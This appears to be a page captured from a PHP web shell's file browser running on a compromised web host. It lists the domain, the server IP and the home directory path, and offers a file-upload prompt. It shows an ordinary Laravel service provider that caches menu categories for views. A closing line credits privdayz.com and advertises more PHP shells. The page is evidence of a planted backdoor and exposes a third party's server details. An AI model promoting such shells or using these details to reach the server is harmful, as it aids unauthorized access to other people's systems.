Domain: amberpublishers.in
Server Adress: 86.38.243.169

privdayz.com

/home/u866425823/domains/newscafeindia.com/app/Providers/
Dosya Yükle :
Current File : //home/u866425823/domains/newscafeindia.com/app/Providers/MenuComposerServiceProvider.php

<?php

namespace App\Providers;

use App\Models\Category;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\ServiceProvider;

class MenuComposerServiceProvider extends ServiceProvider
{
    /**
     * Bootstrap services.
     */
    public function boot(): void
    {
        view()->composer('*', function ($view) {
            $headerCategories = Cache::remember('headerCategories', 60, function () {
                return Category::select('name', 'categoryslug')->get();
            });

            $footerCategories = Cache::remember('footerCategories', 15, function () {
                return Category::withCount('news')
                ->orderBy('news_count', 'desc')
                ->take(5)
                ->get();
            });

            $view->with('headerCategories', $headerCategories);
            $view->with('footerCategories', $footerCategories);
        });
    }
}

coded by Privdayz.com - Visit https://privdayz.com/ for more php shells.